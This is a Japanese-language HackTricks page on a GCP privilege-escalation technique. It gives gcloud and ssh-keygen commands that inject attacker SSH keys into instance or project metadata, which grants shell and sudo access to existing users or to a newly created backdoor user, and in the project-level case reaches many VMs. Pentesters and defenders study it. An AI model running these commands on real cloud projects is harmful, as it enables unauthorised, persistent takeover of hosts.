GCP - Add Custom SSH Metadata

GCP - Add Custom SSH Metadata

Support HackTricks

Modifying the metadata

インスタンスのメタデータの変更は、攻撃者が必要な権限を取得した場合、重大なセキュリティリスクを引き起こす可能性があります

カスタムメタデータへのSSHキーの組み込み

GCPでは、LinuxシステムはしばしばGoogle Compute Engine用のPython Linux Guest Environmentからスクリプトを実行します。この重要なコンポーネントは、認可されたSSH公開鍵の更新のためにインスタンスメタデータエンドポイントを定期的にチェックするように設計されたアカウントデーモンです。

したがって、攻撃者がカスタムメタデータを変更できる場合、デーモンが新しい公開鍵を見つけるようにし、それが処理されてローカルシステムに統合されることになります。この鍵は、既存のユーザーの~/.ssh/authorized_keysファイルに追加されるか、鍵の形式に応じてsudo権限を持つ新しいユーザーが作成される可能性があります。攻撃者はホストを侵害することができます。

既存の特権ユーザーにSSHキーを追加する

  1. インスタンス上の既存のSSHキーを調査する:

  • インスタンスとそのメタデータを記述するコマンドを実行して、既存のSSHキーを見つけます。出力の関連セクションはmetadataの下、特にssh-keysキーの下にあります。

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • SSHキーの形式に注意してください: ユーザー名は鍵の前にあり、コロンで区切られています。

  1. SSHキーのメタデータ用のテキストファイルを準備する:

  • ユーザー名とそれに対応するSSHキーの詳細をmeta.txtという名前のテキストファイルに保存します。これは、新しいキーを追加しながら既存のキーを保持するために重要です。

  1. ターゲットユーザー(この例ではalice)のために新しいSSHキーを生成する:

  • ssh-keygenコマンドを使用して新しいSSHキーを生成し、コメントフィールド(-C)がターゲットユーザー名と一致するようにします。

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • 新しい公開鍵をmeta.txtに追加し、インスタンスのメタデータに見られる形式を模倣します。

  1. インスタンスのSSHキーのメタデータを更新する:

  • gcloud compute instances add-metadataコマンドを使用して、更新されたSSHキーのメタデータをインスタンスに適用します。

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. 新しいSSHキーを使用してインスタンスにアクセスする:

  • 新しいキーを使用してSSHでインスタンスに接続し、ターゲットユーザー(この例ではalice)のコンテキストでシェルにアクセスします。

ssh -i ./key alice@localhost
sudo id

新しい特権ユーザーを作成し、SSHキーを追加する

興味深いユーザーが見つからない場合は、sudo権限が与えられる新しいユーザーを作成することが可能です:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

プロジェクトレベルのSSHキー

プロジェクトレベルでSSHキーを適用することで、クラウド環境内の複数の仮想マシン(VM)へのSSHアクセスを拡大することが可能です。このアプローチにより、プロジェクト内の明示的にプロジェクト全体のSSHキーをブロックしていないインスタンスへのSSHアクセスが可能になります。以下は要約ガイドです:

  1. プロジェクトレベルでSSHキーを適用する:

  • gcloud compute project-info add-metadataコマンドを使用して、meta.txtからプロジェクトのメタデータにSSHキーを追加します。この操作により、VMが「プロジェクト全体のSSHキーをブロック」オプションを有効にしていない限り、プロジェクト内のすべてのVMでSSHキーが認識されます。

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. プロジェクト全体のキーを使用してインスタンスにSSH接続する:

  • プロジェクト全体のSSHキーが設定されている場合、プロジェクト内の任意のインスタンスにSSH接続できます。プロジェクト全体のキーをブロックしていないインスタンスはSSHキーを受け入れ、アクセスを許可します。

  • インスタンスにSSH接続する直接的な方法は、gcloud compute ssh [INSTANCE]コマンドを使用することです。このコマンドは、現在のユーザー名とプロジェクトレベルで設定されたSSHキーを使用してアクセスを試みます。

参考文献

HackTricksをサポートする

Last updated